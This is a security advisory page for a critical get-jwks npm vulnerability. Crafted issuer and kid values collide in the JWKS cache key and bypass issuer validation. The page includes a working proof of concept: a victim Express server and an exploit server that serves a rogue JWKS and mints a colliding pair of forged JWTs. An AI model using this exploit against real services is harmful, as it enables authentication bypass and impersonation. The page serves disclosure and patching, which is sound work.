GHSA-qc2q-qhf3-235m is a critical-severity (CVSS 9.4) CWE-116 vulnerability in get-jwks. A fix is available for get-jwks — see the affected versions and patch details below.
get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qc2q-qhf3-235m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qc2q-qhf3-235m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
get-jwksnpmDescription
Summary
A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.
Details
When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.
The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.
PoC
Server code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://example.com',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Exploit server that generates the JWT pair and send the public RSA key to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, {
algorithm: 'RS256',
header: {
kid: "testkid",
} });
res.send(token);
});
// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {
kid: `testkid:${host}/?`,
} });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
kid: 'testkid',
alg: 'RS256',
use: 'sig',
}]
});
})
app.use((req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '/.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
The first JWT token will create a cache entry with the chosen public key and have the following format:
RS256:testkid:http://localhost:3001/?:https://example.com
The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:
RS256:testkid:http://localhost:3001/?:https://example.com
Impact
Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.
Solution
Escape each component used in the cache key, so delimiter collisions are impossible.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | get-jwks | all versions | 11.0.2npm install get-jwks@11.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for get-jwks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update get-jwks to 11.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qc2q-qhf3-235m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qc2q-qhf3-235m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qc2q-qhf3-235m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qc2q-qhf3-235m in your dependencies?
O3 Security finds GHSA-qc2q-qhf3-235m across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.